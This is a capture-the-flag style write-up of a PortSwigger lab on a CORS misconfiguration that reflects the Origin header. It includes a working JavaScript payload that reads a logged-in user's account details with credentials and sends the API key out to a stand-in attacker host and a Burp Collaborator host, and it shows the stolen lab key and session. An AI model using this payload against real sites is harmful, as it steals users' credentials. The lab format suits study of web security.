CORS Vulnerability with Basic Origin Reflection

Lab#

CORS vulnerability with basic origin reflection · Apprentice

Solution#

Given#

This website has an insecure CORS configuration in that it trusts all origins.

To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator's API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator's API key.

You can log in to your own account using the following credentials: wiener:peter

Analyzing the task#

We're given a site whose CORS headers are insecurely configured, and ACAO simply reflects the Origin header. We need to find the endpoint that exposes the API key and exfiltrate it to our server.

Recon#

First, let's find the endpoint that returns the API token:

GET /accountDetails HTTP/2

We send the request to Repeater. Add an Origin: https://ya.ru header for testing, send it — yes, the server adds ya.ru to ACAO. We can build the payload.

Building the payload#

PortSwigger gives a nice template to start from:

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
  location='//malicious-website.com/log?key='+this.responseText;
};

Let's plug in our GET /accountDetails and exfiltration to Burp Collaborator — lg5dqhqluws9msxsk2x6fc9lkcq3eu2j.oastify.com:

<script>
  var req = new XMLHttpRequest();
  req.onload = reqListener;
  req.open('get','https://0a0d00db04ed6de980ea0321007000d2.web-security-academy.net/accountDetails',true);
  req.withCredentials = true;
  req.send();

  function reqListener() {
    location='//lg5dqhqluws9msxsk2x6fc9lkcq3eu2j.oastify.com/log?key='+this.responseText;
  };
</script>

The request lands, decode the response:

{ "username": "administrator", "email": "", "apikey": "jzf1QJXYkPxziewNiNtqMjZQY3tZGm8l", "sessions": ["kO1D55tBNiHVngwAxcDKzleadUQWgwqT"] }

Lab solved.